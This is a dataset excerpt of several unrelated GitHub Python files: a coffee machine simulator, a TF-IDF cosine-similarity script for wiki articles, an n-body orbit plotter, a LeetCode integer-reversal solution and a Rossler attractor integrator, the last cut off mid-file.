\"exit\":\n break\n else:\n print (\"Invalid input.\")\n","repo_name":"MinasMayth/RUG_university_work","sub_path":"Python_Programming/Homework 2.py","file_name":"Homework 2.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"6137329569","text":"from menu import MENU\n\nwater_remain = 300\nmilk_remain = 200\ncoffee_remain = 100\nmoney_earned = 0\noff_machine = False\n\ndef check_water_remain(order):\n if water_remain < MENU[order][\"ingredients\"][\"water\"]:\n return False\n else:\n return True\n \ndef check_coffee_remain(order):\n if coffee_remain < MENU[order][\"ingredients\"][\"coffee\"]:\n return False\n else:\n return True\n \ndef check_milk_remain(order):\n if 'milk' in MENU[order][\"ingredients\"].keys():\n if milk_remain < MENU[order][\"ingredients\"][\"milk\"]:\n return False\n else:\n return True\n else:\n return True\n\ndef report():\n print(f\"Water: {water_remain}ml\")\n print(f\"Milk: {milk_remain}ml\")\n print(f\"Coffee: {coffee_remain}g\")\n print(f\"Money: ${money_earned}\")\n \ndef get_money():\n quarters = int(input(\"how many quarters?: \"))\n dimes = int(input(\"how many dimes?: \"))\n nickles = int(input(\"how many nickles?: \"))\n pennies = int(input(\"how many pennies?: \"))\n \n return quarters * 0.25 + dimes * 0.1 + \\\n nickles * 0.05 + pennies * 0.01\n \nwhile not off_machine:\n order = input(\"What would you like? (espresso/latte/cappuccino): \")\n order = order.lower()\n\n if order == \"off\":\n off_machine = True\n elif order == \"report\":\n report()\n elif order == \"espresso\" or order == \"latte\" or order == \"cappuccino\":\n if not check_water_remain(order):\n print(f\"Sorry there is not enough water.\")\n continue\n elif not check_milk_remain(order):\n print(f\"Sorry there is not enough milk.\") \n continue\n elif not check_coffee_remain(order):\n print(f\"Sorry there is not enough coffee.\") \n continue\n \n print(\"Please insert coins.\")\n \n needed_money = MENU[order][\"cost\"]\n recv_money = get_money()\n \n if (needed_money > recv_money):\n print(\"Sorry that's not enough money. Money refunded.\")\n continue\n elif (needed_money < recv_money):\n print(f\"Here is ${round(recv_money - needed_money, 2)} in change.\")\n \n \n water_remain -= MENU[order][\"ingredients\"][\"water\"]\n if 'milk' in MENU[order][\"ingredients\"].keys():\n milk_remain -= MENU[order][\"ingredients\"][\"milk\"]\n coffee_remain -= MENU[order][\"ingredients\"][\"coffee\"]\n money_earned += MENU[order][\"cost\"]\n \n print(f\"Here is your {order}. Enjoy!.\")\n \n\n","repo_name":"byungchul1885/python_AngelaYu","sub_path":"day15/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"15521351522","text":"\"\"\" This script computes the textual similarity feature from all the texts files \nextracted from wiki dumps. It also uses the list of all links from prominents. \nThe text files are first parsed to keep only the article text. Results and parsed\nfiles are stored in two new directories.\n\"\"\"\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom math import*\nimport os, sys,stat\nimport re\nimport base64\nimport shutil\nimport numpy as np\nimport TextParser\n\ndef square_rooted(x):\n return round(sqrt(sum([a*a for a in x])),3)\n \ndef cosine_similarity(x,y):\n num = sum(a*b for a,b in zip(x,y))\n den = square_rooted(x)*square_rooted(y)\n return round(num/float(den),3)\n\ndef similarity(filename1,filename2):\n \"\"\"Return the similarity of two text files\n Args:\n\t filename1 : text file\n\t\tfilename2 : text file\n \"\"\"\n # read text files\n with open(filename1, 'r',encoding='utf-8') as file1:\n article1 = file1.read()\n file1.close()\n with open(filename2, 'r',encoding='utf-8') as file2:\n article2 = file2.read()\n file2.close()\n # Tf-Idf transformation\n corpus = [article1,article2]\n vectorizer = TfidfVectorizer(min_df=1)\n tfidf_vectors = vectorizer.fit_transform(corpus)\n article_array_1 = tfidf_vectors.toarray()[0]\n article_array_2 = tfidf_vectors.toarray()[1]\n \n return cosine_similarity(article_array_1,article_array_2)\n\ndef get_article_titles(line):\n \"\"\" Return the articles titles from a line of the file of links\n Args:\n\t line : current line\n \"\"\"\n regex = r\"^(?P
[^\\s]*)\\t(?P[^\\s]*)\"\n link = re.search(regex,line)\n (title1,title2)=(\"\",\"\")\n if link is not None:\n title1 = link.group('article')\n title2 = link.group('target') \n return (title1,title2) \n\ndef get_article_names(files_dir,title1,title2) :\n \"\"\" Return the encoded articles titles corresponding to articles title1 and\n\ttitle2 if the file names have been encoded during the dump extraction\n Args:\n\t files_dir : directory containing all non-parsed text files\n\t\ttitle1 : article title read in links file\n\t\ttitle2 : article title read in links file\n\t\t\"\"\"\n filename1 = title1\n filename2 = title2\n if not os.path.exists(os.path.join(files_dir,filename1)): # the input file name is encoded (b64)\n filename1 = base64.b64encode(filename1.encode('utf-8')).decode('utf-8')\n \n if not os.path.exists(os.path.join(files_dir,filename1)): # the input file name is encoded (b64)\n filename2 = base64.b64encode(filename2.encode('utf-8')).decode('utf-8')\n return (filename1,filename2) \n \ndef print_feature(files_dir,parsed_files_dir,results_dir,links_file):\n \"\"\" Write the feature values of every links from prominents in a new file.\n\tArgs:\n\t files_dir : directory containing all non-parsed text files\n\t\tparsed_files_dir : directory containing all parsed text files\n\t\tresults_dir : directory containing results\n\t\tlinks_file : file listing all links from prominents\n\t\"\"\"\n print(\"Computing similarity from \\\"LINKS\\\" file.\")\n lost = 0\n \n # Reading the links file (all outgoing and incoming links from prominent articles) \n with open(links_file,'r',encoding='utf-8') as links:\n with open(os.path.join(results_dir,\"cosine_similarity_feature\"),\"w\",encoding='utf-8') as out:\n \n # nb_lines = 0\n \n for line in links: \n # get the files names (and encode in base64 if necessary)\n (title1,title2) = get_article_titles(line)\n (filename1,filename2) = get_article_names(files_dir,title1,title2)\n \n # create parsed files \n parsed_file_1 = TextParser.parse_file(filename1,files_dir,parsed_files_dir)\n parsed_file_2 = TextParser.parse_file(filename2,files_dir,parsed_files_dir)\n \n # compute feature\n feature = -1\n if os.path.isfile(parsed_file_1) and os.path.isfile(parsed_file_2): \n try :\n feature = similarity(parsed_file_1,parsed_file_2)\n except ValueError :\n # compute similarity on unparsed files\n src_file1 = os.path.join(files_dir,filename1)\n src_file2 = os.path.join(files_dir,filename2)\n if os.path.isfile(src_file1) and os.path.isfile(src_file2) :\n feature = similarity(src_file1,src_file2)\n else :\n feature =-1\n lost = lost+1\n else :\n lost = lost+1 # count number of lost links\n \n # write feature in output file\n link_title = title1+\"@\"+title2\n out.write(link_title+\"\\t%f\\n\"%(feature))\n # data.append(feature)\n out.close()\n links.close()\n print(\"Lost links :\",lost) \n \ndef main():\n src_files_dir = sys.argv[1]\n links_file = sys.argv[2]\n \n parsed_files_dir = os.path.join(src_files_dir,\"parsed_files\")\n if os.path.exists(parsed_files_dir):\n shutil.rmtree(parsed_files_dir)\n \n results_dir = os.path.join(src_files_dir,\"cosine_similarity_results\")\n if not os.path.exists(results_dir):\n os.makedirs(results_dir)\n \n print_feature(src_files_dir,parsed_files_dir,results_dir,links_file)\n \n print(\"Done : results stored in \\\"\",results_dir,\"\\\".\")\n \nif __name__ == \"__main__\":\n main()\n\n","repo_name":"RoelCastano/MI8Team","sub_path":"SimilarityFeature/cosine-similarity.py","file_name":"cosine-similarity.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"38504264982","text":"from outputread import outputread\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\ndef plotnbody(file=None,over=None,twoplot=None,arr=None,stp=None,\n xr=None,yr=None,zr=None,rr=None,tr=None,iso=None,movie=None,\n notrail=None,anim=True,afile=None,dir0=None,colarr=None,\n first=None,ps=None,dotfirst=None,last=None,R0=None):\n\n #+\n #\n # PLOTNBODY\n #\n # This program plots the nbody orbits\n #\n # INPUTS:\n # file File containing the galsat output data\n # dfile File containing the galsat diagnostic data\n # /over\n # /twoplot Only two panels\n # arr=arr Input the galsat output array\n # /stp Stop at end\n # xr=xr X-axis range\n # yr=yr Y-axis range\n # zr=zr Z-axis range\n # rr=rr Radius-axis range\n # tr=tr Time-axis range\n # /iso Make plots isotropic, aspect ratio=1\n # /movie Flip through the timesteps\n # /notrail If /movie set then don't show the trail for each body\n # /anim Make an animation, save snaps to files\n # afile=afile Suffix for animation files\n # colarr=colarr Array of colors for the bodies\n # /first Only plot the first snap\n # /last Only plot the last snap\n # /dotfirst Make a dot for the first particle (the main body)\n #\n # By David Nidever\n #-\n\n # Not enough inputs\n if file is None and arr is None:\n print('Syntax - plotnbody,file,dfile,over=over,twoplot=twoplot,arr=arr,')\n print(' stp=stp,xr=xr,yr=yr,zr=zr,rr=rr,tr=tr,iso=iso,')\n print(' movie=movie,notrail=notrail,anim=anim,afile=afile,')\n print(' dir=dir,colarr=colarr,first=first,ps=ps,')\n print(' dotfirst=dotfirst,last=last,R0=R0')\n return\n\n if anim is not None:\n movie=1\n\n # importing nbody data\n if arr is None:\n arr = outputread(file,dt='arr')\n\n if R0 is None:\n R0=8.5\n\n origarr = arr\n\n # if there are softening parameters then get rid of them.\n if len(arr[0,0,:])>8:\n dum = arr\n arr = arr[:,:,0:8]*0.\n arr[:,:,0:2] = dum[:,:,0:2]\n arr[:,:,2:8] = dum[:,:,3:9]\n dum = 0.\n\n ns = len(arr[:,0,0])\n nb = len(arr[0,:,0])\n # R for LMC\n r = np.zeros((ns,nb))\n for i in range(nb):\n for j in range(ns):\n r[j,i] = np.linalg.norm(arr[j,i,2:5])\n\n # Getting the index for t=0\n dum = np.abs(arr[:,0,0])\n dum = np.argmin(dum)\n\n# erase # erase plot window\n\n# setdisp\n\n # colors for my screen\n red = 250\n lred = 210\n green = 190000\n orange = 310000\n yellow = 450000\n blue = -25000\n lblue = -15000\n purple = -20000\n white = -1\n\n # setting for postscript\n if False:#!d.name=='PS' or keyword_set(anim):\n loadct,39\n black=0\n purple=30\n blue=60\n aqua=80\n green=155 #135\n yellow=200\n orange=225\n white=0\n red=250\n lred=240\n #backg=white\n backg=yellow\n coarr = [green,aqua,yellow,blue,purple,lred,orange]\n\n thk = 2 # line thickness\n\n #linestyle: 0-solid line, 1-dotted, 2-dashed, 3-dot dash, 4-dot dot\n # dot dash, 5-long dashes\n\n# psym8,0.7 #1.5\n\n co1 = green\n co2 = red\n co3 = orange\n co4 = blue\n\n # setting the ranges\n dx=np.max(arr[:,:,2])-np.min(arr[:,:,2])\n dy=np.max(arr[:,:,3])-np.min(arr[:,:,3])\n dz=np.max(arr[:,:,4])-np.min(arr[:,:,4])\n dr=np.max(r)-np.min(r)\n dt=np.max(arr[:,:,0])-np.min(arr[:,:,0])\n if xr is None:\n xr=[np.min(arr[:,:,2])-0.2*dx,np.max(arr[:,:,2])+0.2*dx]\n if yr is None:\n yr=[np.min(arr[:,:,3])-0.2*dy,np.max(arr[:,:,3])+0.2*dy]\n if zr is None:\n zr=[np.min(arr[:,:,4])-0.2*dz,np.max(arr[:,:,4])+0.2*dz]\n if rr is None:\n rr=[np.min(r)-0.2*dr,np.max(r)+0.2*dr]\n if tr is None:\n tr=[np.min(arr[:,:,0])-0.2*dt,np.max(arr[:,:,0])]\n\n if iso is not None:\n lo = np.min([xr[0],yr[0],zr[0]])\n hi = np.max([xr[1],yr[1],zr[1]])\n xr = [lo,hi]\n yr = [lo,hi]\n zr = [lo,hi]\n\n co1 = white\n thk = 0.5\n if ps is None:\n ps=8\n\n# if !d.name=='PS':\n# thk = 4.0\n\n dotsize = 1.5\n dotco = 250\n\n # MOVIE\n if movie is not None:\n filelist = []\n\n co2 = white\n if notrail is not None:\n co1=white\n else:\n co1=red\n\n nsnap = len(arr[:,0,0])\n# psym8,0.7\n if anim is not None:\n if dir0 is None:\n dir0='plotnbody'\n os.system('mkdir {}'.format(dir0))\n\n # Looping through snaps\n for j in range(nsnap):\n current = arr[j,0,0]\n \n plt.figure(figsize=(8.5,8))\n\n # Opening file or erasing\n if anim is not None:\n #if file_search(dir0,/test_dir)=='':file_mkdir,dir0\n if afile is None:\n afile = 'plotnbody'\n num = '{:04}'.format(j)\n #num = strtrim(long(j),2)\n #if num lt 10 then num='0'+num\n #if num lt 100 then num='0'+num\n #if num lt 1000 then num='0'+num\n filename = dir0+'/'+afile+'_'+num+'.png'\n filelist.append(filename)\n #if j mod 25==0 then ps_open,filename,/color\n# !p.font = 0\n# loadct,39,/silent\n# ps_open,filename,/color,/encap,thick=5\n# device,/inches,xsize=8.5,ysize=8.0\n\n # Z vs X (upper-left)\n #!p.multi=[4,2,2]\n #plot,dist(5),/nodata,xtit='XGC',ytit='ZGC',xr=xr,yr=zr,xs=1,ys=1\n plt.subplot(2,2,1)\n plt.plot(arr[j,:,2],arr[j,:,4],'r,')\n plt.xlabel('XGC')\n plt.ylabel('ZGC')\n plt.xlim(xr)\n plt.ylim(zr)\n if notrail is None:\n for i in range(nb):\n plt.plot(arr[:j,i,2],arr[:j,i,4],'k-',linewidth=1)\n# ps1 = ps & co1 = 0 & symsize = 1.0\n# if dotfirst is not None and i==0:\n# ps1=8\n# co1=dotco\n# symsize=dotsize\n\n# # Use the input color\n# if colarr is not None:\n# co1 = colarr(i)\n\n# #Overplotting the last position (to erase the position's dot)\n# #oplot,[arr((j-1)>0,i,2)],[arr((j-1)>0,i,4)],linestyle=0,co=0,thick=thk,ps=ps1,symsize=symsize \n\n# #Overplotting the Current position \n# oplot,[arr(j,i,2)],[arr(j,i,4)],linestyle=0,co=co1,thick=thk,ps=ps1,symsize=symsize\n\n# # Overplotting the trail\n# if not keyword_set(notrail):$\n# oplot,[arr(0:j,i,2)],[arr(0:j,i,4)],linestyle=0,co=co2,thick=thk\n\n# # Overplotting the GC and Sun\n# oplot,[0],[0],ps=1 #GC\n# oplot,[-R0],[0],ps=2 #SUN\n# end\n# # Overplot the body last so you can see it\n# if keyword_set(dotfirst):begin\n# oplot,[arr(j,0,2)],[arr(j,0,4)],linestyle=0,co=co1,thick=thk,co=dotco,ps=8,symsize=dotsize # current position\n# #if not keyword_set(notrail) then oplot,[arr(0:j,0,0)],[r(0:j,0)],linestyle=0,co=co2,thick=thk\n# endif\n\n # R vs T (upper-right)\n plt.subplot(2,2,2)\n plt.plot(arr[j,:,0],r[j,:],'r,')\n plt.xlabel('t')\n plt.ylabel('RGC')\n plt.xlim(tr)\n plt.ylim(rr)\n if notrail is None:\n for i in range(nb):\n plt.plot(arr[j,:,0],r[j,:],'k-',linewidth=1)\n# !p.multi=[3,2,2]\n# plot,dist(5),/nodata,xtit='t',ytit='RGC',xr=tr,yr=rr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# ps1 = ps & co1 = 0 & symsize = 1.0\n# if keyword_set(dotfirst) and i==0:begin\n# ps1=8\n# co1=dotco\n# symsize=dotsize\n# endif\n\n# # Use the input color\n# if keyword_set(colarr):co1 = colarr(i)\n\n# # Overplotting the last position\n# #oplot,[arr((j-1)>0,i,0)],[r((j-1)>0,i)],linestyle=0,co=0,thick=thk,ps=ps1,symsize=symsize\n\n# # Overplotting the current position\n# oplot,[arr(j,i,0)],[r(j,i)],linestyle=0,co=co1,thick=thk,co=co1,ps=ps1,symsize=symsize\n# if not keyword_set(notrail):oplot,[arr(0:j,i,0)],[r(0:j,i)],linestyle=0,co=co2,thick=thk\n# end\n# # Overplot the body last so you can see it\n# if keyword_set(dotfirst):begin\n# oplot,[arr(j,0,0)],[r(j,0)],linestyle=0,co=co1,thick=thk,co=dotco,ps=8,symsize=dotsize # current position\n# #if not keyword_set(notrail) then oplot,[arr(0:j,0,0)],[r(0:j,0)],linestyle=0,co=co2,thick=thk\n# endif\n\n # Y vs X (lower-left)\n plt.subplot(2,2,3)\n plt.plot(arr[j,:,2],arr[j,:,3],'r,')\n plt.xlabel('XGC')\n plt.ylabel('YGC')\n plt.xlim(xr)\n plt.ylim(yr)\n if notrail is None:\n for i in range(nb):\n plt.plot(arr[:j,i,2],arr[:j,i,3],'k-',linewidth=1)\n# !p.multi=[2,2,2]\n# plot,dist(5),/nodata,xtit='XGC',ytit='YGC',xr=xr,yr=yr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# ps1 = ps & co1 = 0 & symsize = 1.0\n# if keyword_set(dotfirst) and i==0:begin\n# ps1=8\n# co1=dotco\n# symsize=dotsize\n# endif\n\n# # Use the input color\n# if keyword_set(colarr):co1 = colarr(i)\n\n# #Overplotting last position\n# #oplot,[arr((j-1)>0,i,2)],[arr((j-1)>0,i,3)],linestyle=0,co=0,thick=thk,ps=ps1,symsize=symsize\n\n# # Overplotting the current position\n# oplot,[arr(j,i,2)],[arr(j,i,3)],linestyle=0,co=co1,thick=thk,ps=ps1,symsize=symsize\n\n# if not keyword_set(notrail):oplot,[arr(0:j,i,2)],[arr(0:j,i,3)],linestyle=0,co=co2,thick=thk\n# oplot,[0],[0],ps=1 # GC\n# oplot,[-R0],[0],ps=2 #SUN\n# end\n# # Overplot the body last so you can see it\n# if keyword_set(dotfirst):begin\n# oplot,[arr(j,0,2)],[arr(j,0,3)],linestyle=0,co=co1,thick=thk,co=dotco,ps=8,symsize=dotsize # current position\n# #if not keyword_set(notrail) then oplot,[arr(0:j,0,0)],[r(0:j,0)],linestyle=0,co=co2,thick=thk\n# endif\n\n # Z vs Y (lower-right)\n plt.subplot(2,2,4)\n plt.plot(arr[j,:,3],arr[j,:,4],'r,')\n plt.xlabel('YGC')\n plt.ylabel('ZGC')\n plt.xlim(yr)\n plt.ylim(zr)\n if notrail is None:\n for i in range(nb):\n plt.plot(arr[:j,i,3],arr[:j,i,4],'k-',linewidth=1)\n# !p.multi=[1,2,2]\n# plot,dist(5),/nodata,xtit='YGC',ytit='ZGC',xr=yr,yr=zr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# ps1 = ps & co1 = 0 & symsize = 1.0\n# if keyword_set(dotfirst) and i==0:begin\n# ps1=8\n# co1=dotco\n# symsize=dotsize\n# endif\n\n# # Use the input color\n# if keyword_set(colarr):co1 = colarr(i)\n\n# # Overplotting the last position\n# #oplot,[arr((j-1)>0,i,3)],[arr((j-1)>0,i,4)],linestyle=0,co=0,thick=thk,ps=ps1,symsize=symsize\n\n# # Overplotting the current position\n# oplot,[arr(j,i,3)],[arr(j,i,4)],linestyle=0,co=co1,thick=thk,ps=ps1,symsize=symsize\n\n# if not keyword_set(notrail):oplot,[arr(0:j,i,3)],[arr(0:j,i,4)],linestyle=0,co=co2,thick=thk\n# oplot,[0],[0],ps=1 # GC\n# oplot,[0],[0],ps=2 #SUN\n# end\n# # Overplot the body last so you can see it\n# if keyword_set(dotfirst):begin\n# oplot,[arr(j,0,3)],[arr(j,0,4)],linestyle=0,co=co1,thick=thk,co=dotco,ps=8,symsize=dotsize # current position\n# #if not keyword_set(notrail) then oplot,[arr(0:j,0,0)],[r(0:j,0)],linestyle=0,co=co2,thick=thk\n# endif\n\n# # Closing file or waiting\n# if keyword_set(anim):begin\n# if !d.name=='PS':ps_close\n# ps2gif,filename+'.eps',/eps\n# endif else begin\n# #if keyword_set(notrail) then wait,0.01 else wait,0.04\n# endelse\n\n# #stop\n\n# end # for j\n\n plt.suptitle('Time = {} Gyr'.format(round(current,3)),\\\n backgroundcolor='w')\n plt.savefig(filename)\n if j!=ns-1:\n plt.close()\n\n if anim is not None:\n if os.path.exists('imagelist.txt'):\n os.remove('imagelist.txt')\n with open('imagelist.txt','w') as file:\n for item in filelist:\n file.write('%s\\n' % item)\n os.system('convert @imagelist.txt {}.gif'.format(afile))\n\n# else:\n\n# # NORMAL PLOTTING\n\n# if keyword_set(last):ind=ns-1 else ind = 0\n\n# # Z vs X (upper-left)\n# !p.multi=[4,2,2]\n# plot,dist(5),/nodata,xtit='XGC',ytit='ZGC',xr=xr,yr=zr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# if keyword_set(colarr):co1=colarr(i)\n\n# # All snaps\n# if not keyword_set(first) and not keyword_set(last):$\n# oplot,arr(*,i,2),arr(*,i,4),linestyle=0,co=co1,thick=thk\n\n# # Only first or last snap\n# if keyword_set(first) or keyword_set(last):$\n# oplot,[arr(ind,i,2)],[arr(ind,i,4)],co=co1,thick=thk,ps=ps\n\n# if not keyword_set(last):$\n# oplot,[arr(cur,i,2)],[arr(cur,i,4)],linestyle=0,co=co1,thick=thk,ps=ps #current position \n# oplot,[0],[0],ps=1 #GC\n# oplot,[-R0],[0],ps=2 #SUN\n\n# end\n\n# # R vs T (upper-right)\n# !p.multi=[3,2,2]\n# plot,dist(5),/nodata,xtit='t',ytit='RGC',xr=tr,yr=rr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# if keyword_set(colarr):co1=colarr(i)\n\n# # All snaps\n# if not keyword_set(first) and not keyword_set(last):$\n# oplot,arr(*,i,0),r(*,i),linestyle=0,co=co1,thick=thk\n\n# # Only first or last snap\n# if keyword_set(first) or keyword_set(last):$\n# oplot,[arr(ind,i,0)],[r(ind,i)],co=co1,thick=thk,ps=ps\n\n# if not keyword_set(last):$\n# oplot,[arr(cur,i,0)],[r(cur,i)],linestyle=0,co=co1,thick=thk,ps=ps # current position\n# end\n\n# # Y vs X (lower-left)\n# !p.multi=[2,2,2]\n# plot,dist(5),/nodata,xtit='XGC',ytit='YGC',xr=xr,yr=yr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# if keyword_set(colarr):co1=colarr(i)\n\n# # All snaps\n# if not keyword_set(first) and not keyword_set(last):$\n# oplot,arr(*,i,2),arr(*,i,3),linestyle=0,co=co1,thick=thk\n\n# # Only first or last snap\n# if keyword_set(first) or keyword_set(last):$\n# oplot,[arr(ind,i,2)],[arr(ind,i,3)],co=co1,thick=thk,ps=ps\n\n# if not keyword_set(last):$\n# oplot,[arr(cur,i,2)],[arr(cur,i,3)],linestyle=0,co=co1,thick=thk,ps=ps #current position\n# oplot,[0],[0],ps=1 # GC\n# oplot,[-R0],[0],ps=2 #SUN\n# end\n\n# # Z vs Y (lower-right)\n# !p.multi=[1,2,2]\n# plot,dist(5),/nodata,xtit='YGC',ytit='ZGC',xr=yr,yr=zr,xs=1,ys=1\n# for i=0.,nb-1:begin\n# if keyword_set(colarr):co1=colarr(i)\n\n# # All snaps\n# if not keyword_set(first) and not keyword_set(last):$\n# oplot,arr(*,i,3),arr(*,i,4),linestyle=0,co=co1,thick=thk\n\n# # Only first or last snap\n# if keyword_set(first) or keyword_set(last):$\n# oplot,[arr(ind,i,3)],[arr(ind,i,4)],co=co1,thick=thk,ps=ps\n\n# if not keyword_set(last):$\n# oplot,[arr(cur,i,3)],[arr(cur,i,4)],linestyle=0,co=co1,thick=thk,ps=ps #current position\n\n# oplot,[0],[0],ps=1 # GC\n# oplot,[0],[0],ps=2 #SUN\n# end\n\n# endelse\n\n# # diagnostics\n# if keyword_set(dfile):begin\n# diag = importdiag(dfile)\n# etot = reform(diag(1,*))\n# ekin = reform(diag(2,*))\n# epot = reform(diag(3,*))\n# steps = reform(diag(4,*))\n# endif\n\n# if keyword_set(stp):stop\n\n# !p.multi = 0\n# arr = origarr\n\n# end\n","repo_name":"BethanyGarver/lsmc","sub_path":"plotnbody.py","file_name":"plotnbody.py","file_ext":"py","file_size_in_byte":17033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"73071243578","text":"# 7. 整数反转\n# 给你一个 32 位的有符号整数 x ,返回将 x 中的数字部分反转后的结果。\n#\n# 如果反转后整数超过 32 位的有符号整数的范围 [−2^31, 2^31 - 1] ,就返回 0。\n#\n# 假设环境不允许存储 64 位整数(有符号或无符号)。\n# 提示:\n#\n# -2^31 <= x <= 2^31 - 1\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode.cn/problems/reverse-integer/\n\n# noinspection PyMethodMayBeStatic\n\nclass Solution:\n def reverse(self, x: int) -> int:\n if x == 0:\n return 0\n is_positive = 1\n if x < 0:\n is_positive = -1\n x = -x\n y = 0\n while x != 0:\n x, b = divmod(x, 10)\n y = y * 10 + b\n\n y = y * is_positive\n if y >= 1 << 31 or y < -(1 << 31):\n return 0\n return y\n\n\nif __name__ == '__main__':\n assert (1 << 32) == 2 ** 32\n assert -(1 << 32) == -2 ** 32\n\n for clazz in (Solution,):\n solution = clazz()\n assert solution.reverse(123) == 321\n assert solution.reverse(-123) == -321\n assert solution.reverse(120) == 21\n assert solution.reverse(0) == 0\n","repo_name":"xieb03/leetcode","sub_path":"middle/7.reverse-integer.py","file_name":"7.reverse-integer.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"10348252875","text":"#! /usr/bin/env python3\n\nfrom argparse import ArgumentParser\n\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#----------------------------------------------------------------------------\n# Main module\n#----------------------------------------------------------------------------\ndef main():\n '''\n Create, plot and write out multidimensional data from the Rossler\n dynamical model.\n\n '''\n \n args = ParseCmdLine()\n \n Rossler( args )\n \n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\ndef Rossler( args ):\n '''\n Use scipy.integrate.odeint() to integrate the differential equation.\n\n Note: scipy docs say to use solve_ivp instead of odeint, but,\n it's interface doesn't support additional arguments to the \n function to be integrated requiring a wrapper or lambda function,\n and even with that: I could not get it to work... Nice. \n '''\n \n # initial state\n v0 = np.array( args.initial )\n\n t = np.arange( args.t0, args.T, args.dT )\n\n # odeint requires \"extra\" variables to be in a tuple with name matching\n # inside the derivative function, so make N, F explicit\n a, b, c = args.constants\n V = odeint( dRossler, v0, t, args = (a,b,c) )\n\n # Compute and store the derivatives, noise not added\n dVdt = np.zeros( V.shape )\n dVdt_cols = range( dVdt.shape[1] )\n\n for row in range( 0, dVdt.shape[0] ):\n # State variable derivatives dV/dt directly from dRossler()\n # using the integrated value at each timestep as the v0\n dVdt[ row, dVdt_cols ] = dRossler( V[ row, dVdt_cols ], 0, a,b,c )\n\n if len( args.jacobians ) :\n # Note that args.jacobians is a list of pairs (tuples)\n jacobians = np.zeros( ( V.shape[0], len( args.jacobians ) ) )\n \n for pair, col in zip( args.jacobians, range( len(args.jacobians) ) ) :\n d1 = np.gradient( V[ :, pair[0] ] )\n d2 = np.gradient( V[ :, pair[1] ] )\n jacobians[ :, col ] = d1 / d2\n\n # Add noise to V, not to dVdt\n if args.noise :\n noise_vec = args.noise * np.random.randn( len( t ), 3 )\n V = V + noise_vec\n \n # Create output matrix\n # t is an array, first cast as matrix and transpose to merge with x & dVdt\n output = np.concatenate( (np.asmatrix( t ).T, V, dVdt), 1 )\n if len( args.jacobians ) :\n output = np.concatenate( (output, jacobians), 1 )\n\n if args.outputFile:\n # Create the header\n header = 'Time'\n for dim in range( len( v0 ) ) :\n header = header + ',V' + str( dim + 1 )\n for dim in dVdt_cols :\n header = header + ',dV' + str( dim + 1 ) + '/dt'\n if len( args.jacobians ) :\n for pair in args.jacobians :\n header = header + ',∂V' + str(pair[0] + 1) +\\\n '/∂V' + str(pair[1] + 1)\n\n if args.outputStartTime :\n # Ignore times before outputStartTime\n outputStartTime_i = int(np.where( t == args.outputStartTime )[0])\n if outputStartTime_i < 0 or outputStartTime_i > len( t ) - 1 :\n raise( \"Failed to find outputStartTime\" )\n\n output = output[ outputStartTime_i : output.shape[0], : ]\n\n np.savetxt( args.outputFile, output, fmt = '%.4f', delimiter = ',',\n header = header, comments = '' )\n\n #------------------------------------------------------------\n # 3-D plot first three variables in args.dimensions\n if '3D' in args.plot :\n from mpl_toolkits.mplot3d import Axes3D\n fig3D = plt.figure()\n ax3D = fig3D.gca(projection='3d')\n \n ax3D.plot( V[ :, args.dimensions[0] ],\n V[ :, args.dimensions[1] ],\n V[ :, args.dimensions[2] ] )\n \n ax3D.set_xlabel( '$R_{0:d}$'.format( args.dimensions[0]+1 ), fontsize=20 )\n ax3D.set_ylabel( '$R_{0:d}$'.format( args.dimensions[1]+1 ), fontsize=20 )\n ax3D.set_zlabel( '$R_{0:d}$'.format( args.dimensions[2]+1 ), fontsize=20 )\n\n ax3D.xaxis.set_rotate_label( False ) \n ax3D.yaxis.set_rotate_label( False ) \n ax3D.zaxis.set_rotate_label( False ) \n ax3D.xaxis.set_tick_params( labelsize = 14 )\n ax3D.yaxis.set_tick_params( labelsize = 14 )\n ax3D.zaxis.set_tick_params( labelsize = 14 )\n \n plt.show()\n \n #------------------------------------------------------------\n # 2-D plot all variables in args.dimensions\n elif '2D' in args.plot :\n plotColors = [ 'blue', 'green', 'red', 'cyan', 'magenta', 'yellow', \n 'blue', 'green', 'red', 'cyan', 'magenta', 'black' ]\n fig, ax = plt.subplots()\n \n for d in args.dimensions:\n # output has Time inserted to column 0, add +1\n ax.plot( output[:,0], output[:,d+1],\n color = plotColors[d], linewidth = 3 )\n\n ax.set( xlabel = 'index ()',\n ylabel = 'amplitude ()',\n title = 'Rossler' )\n plt.show()\n\n#----------------------------------------------------------------------------\n# State derivatives\n#----------------------------------------------------------------------------\ndef dRossler( v, t, a, b, c ):\n '''\n dx/dt = -y - z\n dy/dt = x + ay\n dz/dt = b + z(x-c)\n '''\n dv = np.zeros( len( v ) )\n x,y,z = v\n \n # \n dv[0] = -y - z\n dv[1] = x + a*y \n dv[2] = b + z*(x-c)\n \n return dv\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\ndef ParseCmdLine():\n \n parser = ArgumentParser( description = 'Rossler' )\n \n parser.add_argument('-i', '--initial', nargs = '+',\n dest = 'initial', type = float,\n action = 'store', default = [1, 0, 1],\n help = 'Initial state values.')\n\n parser.add_argument('-c', '--constants', nargs = '+',\n dest = 'constants', type = float,\n action = 'store', default = [0.2, 0.2, 5.7],\n help = 'Constants a, b, c.')\n\n parser.add_argument('-j', '--jacobians', nargs = '+',\n dest = 